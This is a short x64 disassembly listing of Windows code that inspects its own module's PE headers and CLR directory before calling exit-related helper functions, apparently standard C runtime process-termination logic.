mov ebx, ecx
test r8d, r8d
jne 0x140051bf7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140051bf7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140051bf7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140051bf7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140051bf7
cmp dword [rcx + 0x84], 0xe
jbe 0x140051bf7
cmp dword [rcx + 0xf8], 0
je 0x140051bf7
mov ecx, ebx
call fcn.140051d28
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.140051960
cmp dword [rbp + 0x20], 0
je 0x140051c44
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140051c4c
int3
xor r8d, r8d
xor edx, edx
jmp 0x140051b90